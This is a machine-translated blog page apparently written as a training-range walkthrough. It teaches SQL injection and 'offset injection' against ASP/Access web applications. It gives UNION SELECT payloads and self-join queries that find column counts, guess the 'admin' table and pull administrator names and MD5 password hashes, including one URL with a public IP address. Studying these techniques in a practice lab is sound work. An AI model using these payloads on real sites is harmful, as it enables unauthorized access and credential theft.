当前位置:网站首页>SQL injection - access injection, access offset injection
SQL injection - access injection, access offset injection
2022-07-06 18:35:00 【Aspirin. two thousand and two】
Access Inject ,Access Offset Injection
Access Database composition
Table name
Name
data
some access+asp Injection range

iis+asp+access
asp General collocation access
PHP General collocation mysql
aspx General collocation msSQL
The condition of injection is that parameters can be transferred 、 Interact with the database , Data interaction
get,post,cookie Can be injected
Injection process
1.1、 Enter a page where you can transfer parameters
http://127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513
1.2、 Determine the injection point
' perhaps and 1=1,and 1=2
1.3、 Judgment fields
127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513 order by 23
22 Return to normal ,23 The number of error reporting description fields is 22

The table you look up here is actually product surface , find out 22 Column

1.4、 Name of judgment table
and exits (select * from admin), If there is a table named admin The echo is normal , If it does not exist , Echo error
1.5、 The joint query
union select

Because it is access database , Only the table name 、 Name 、 Content , You need to specify a table
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
commonly admin It is the table for storing administrator information ,access The name of the watch depends on guessing

Try it out 3 and 15, That is to say, we can be in 3 and 15 Check the data in two places , That is, check the specified column data

http://117.24.12.33:10000/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

This password has passed md5 encryption
Tips for guessing column names
View background ( The login page ) Source code


This range has been modified
Access Offset Injection ( Do you know the table name , I can't guess the list )
After the display bit bursts , Determine the number of fields in the table
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin error
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin error
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin error
And so on , until ...
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin correct
Illustrates the admin There are under the table 6 A field ;
use * representative admin Number of fields in the table , Calculation * Number of digits in place of characters .
Access Offset injection principle , The basic formula is :
order by Subtract... From the number of fields * The number of fields of the number , However, reuse order by Subtract... From the number of fields 2 Times the answer just got ;
* = 6 Characters
2 × * = 12 Characters
22 - 12 = 10 Characters
Burst name data
One level offset :union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
If you find that , The source code of the web page is checked above, and there is no data , Please use the following method :
Secondary offset statement :union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
Be careful : Here is 10 Subtract... From the table in the first field 6 A field , So the secondary offset here is select 1,2,3,4
perhaps union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
At this point, you will be surprised to see the source code


Mozhe shooting range practice



The password goes through md5 encryption

边栏推荐
- Jerry is the custom background specified by the currently used dial enable [chapter]
- 從交互模型中蒸餾知識!中科大&美團提出VIRT,兼具雙塔模型的效率和交互模型的性能,在文本匹配上實現性能和效率的平衡!...
- Distill knowledge from the interaction model! China University of science and Technology & meituan proposed virt, which combines the efficiency of the two tower model and the performance of the intera
- C语言高校实验室预约登记系统
- 2022暑期项目实训(一)
- Ms-tct: INRIA & SBU proposed a multi-scale time transformer for motion detection. The effect is SOTA! Open source! (CVPR2022)...
- 模板于泛型编程之declval
- Tree-LSTM的一些理解以及DGL代码实现
- 复现Thinkphp 2.x 任意代码执行漏洞
- Prophet模型的简介以及案例分析
猜你喜欢

Coco2017 dataset usage (brief introduction)

Declval of template in generic programming

30 minutes to understand PCA principal component analysis

阿里云国际版ECS云服务器无法登录宝塔面板控制台

【LeetCode第 300 场周赛】

Easy to use PDF to SVG program

UDP protocol: simple because of good nature, it is inevitable to encounter "city can play"

传输层 拥塞控制-慢开始和拥塞避免 快重传 快恢复

Xu Xiang's wife Ying Ying responded to the "stock review": she wrote it!

【.NET CORE】 请求长度过长报错解决方案
随机推荐
Release of the sample chapter of "uncover the secrets of asp.net core 6 framework" [200 pages /5 chapters]
Use cpolar to build a business website (1)
2022暑期项目实训(二)
Bonecp uses data sources
模板于泛型编程之declval
面向程序员的精品开源字体
DOM简要
Transport layer congestion control - slow start and congestion avoidance, fast retransmission, fast recovery
C language exchanges two numbers through pointers
POJ 2208 已知边四面体六个长度,计算体积
CSRF漏洞分析
Windows connects redis installed on Linux
bonecp使用数据源
Why does wechat use SQLite to save chat records?
C语言高校实验室预约登记系统
Grafana 9.0 正式发布!堪称最强!
node の SQLite
2022 Summer Project Training (II)
【中山大学】考研初试复试资料分享
SAP Fiori 应用索引大全工具和 SAP Fiori Tools 的使用介绍